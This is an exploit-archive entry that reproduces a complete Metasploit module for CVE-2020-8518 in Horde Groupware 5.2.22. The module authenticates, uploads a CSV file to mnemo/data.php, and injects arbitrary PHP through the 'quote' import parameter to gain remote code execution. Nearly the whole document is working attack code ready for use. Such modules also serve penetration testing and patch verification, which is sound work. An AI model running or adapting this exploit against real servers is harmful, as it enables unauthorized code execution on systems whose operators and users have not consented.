Horde 5.2.22 CSV Import Code Execution Exploit

2020-03-23T00:00:00
ID 1337DAY-ID-34133
Type zdt
Reporter metasploit
Modified 2020-03-23T00:00:00

Description

The Horde_Data module version 2.1.4 (and before) present in Horde Groupware version 5.2.22 allows authenticated users to inject arbitrary PHP code thus achieving remote code execution the server hosting the web application.

                                        
                                            ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info={})
    super(
      update_info(
        info,
        'Name'           => 'Horde CSV import arbitrary PHP code execution',
        'Description'    => %q{

          The Horde_Data module version 2.1.4 (and before) present in Horde
          Groupware version 5.2.22 allows authenticated users to inject
          arbitrary PHP code thus achieving RCE on the server hosting the web
          application.

        },
        'License'        => MSF_LICENSE,
        'Author'         => ['Andrea Cardaci <[email protected]>'],
        'References'     => [
          ['CVE', '2020-8518'],
          ['URL', 'https://cardaci.xyz/advisories/2020/03/10/horde-groupware-webmail-edition-5.2.22-rce-in-csv-data-import/']
        ],
        'DisclosureDate' => '2020-02-07',
        'Platform'       => 'php',
        'Arch'           => ARCH_PHP,
        'Targets'        => [['Automatic', {}]],
        'Payload'        => {'BadChars' => "'"},
        'Privileged'     => false,
        'DefaultOptions'  => { 'PrependFork'  => true },
        'DefaultTarget'  => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, 'The path to the web application', '/']),
        OptString.new('USERNAME',  [true, 'The username to authenticate with']),
        OptString.new('PASSWORD',  [true, 'The password to authenticate with'])
      ])
  end

  def login
    username = datastore['USERNAME']
    password = datastore['PASSWORD']
    res = send_request_cgi(
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri, 'login.php'),
      'cookie'    => 'Horde=x', # avoid multiple Set-Cookie
      'vars_post' => {
        'horde_user' => username,
        'horde_pass' => password,
        'login_post' => '1'})
    unless res && res.code == 302 && res.headers['Location'].include?('/services/portal/')
      fail_with(Failure::UnexpectedReply, 'Login failed or application not found')
    end

    vprint_good("Logged in as #{username}:#{password}")
    return res.get_cookies
  end

  def upload_csv(cookie)
    csv_fname = Rex::Text.rand_text_alpha(6..8)

    data = Rex::MIME::Message.new
    data.add_part('11',  nil, nil, 'form-data; name="actionID"')
    data.add_part('1',   nil, nil, 'form-data; name="import_step"')
    data.add_part('csv', nil, nil, 'form-data; name="import_format"')
    data.add_part('x',   nil, nil, 'form-data; name="notepad_target"')
    data.add_part(csv_fname,   nil, nil, "form-data; name=\"import_file\"; filename=\"#{csv_fname}\"")
    res = send_request_cgi(
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri, 'mnemo/data.php'),
      'cookie' => cookie,
      'ctype'  => "multipart/form-data; boundary=#{data.bound}",
      'data'   => data.to_s)

    vprint_status("Uploading #{csv_fname}.csv")

    unless res && res.code == 200
      fail_with(Failure::UnexpectedReply, 'Cannot upload the CSV file')
    end

    vprint_good('CSV file uploaded')
  end

  def execute(cookie, function_call)
    options = {
      'method'    => 'POST',
      'uri'       => normalize_uri(target_uri, 'mnemo/data.php'),
      'cookie'    => cookie,
      'vars_post' => {
        'actionID'      => '3',
        'import_step'   => '2',
        'import_format' => 'csv',
        'header'        => '1',
        'fields'        => '1',
        'sep'           => 'x',
        'quote'         => ").#{function_call}.die();}//\\"}}

    send_request_cgi(options)
  end

  def exploit
    cookie = login()
    upload_csv(cookie)
    # do not terminate the statement
    function_call = payload.encoded.tr(';', '')
    vprint_status("Sending payload: #{function_call}")
    execute(cookie, function_call)
  end
end

#  0day.today [2020-03-23]  #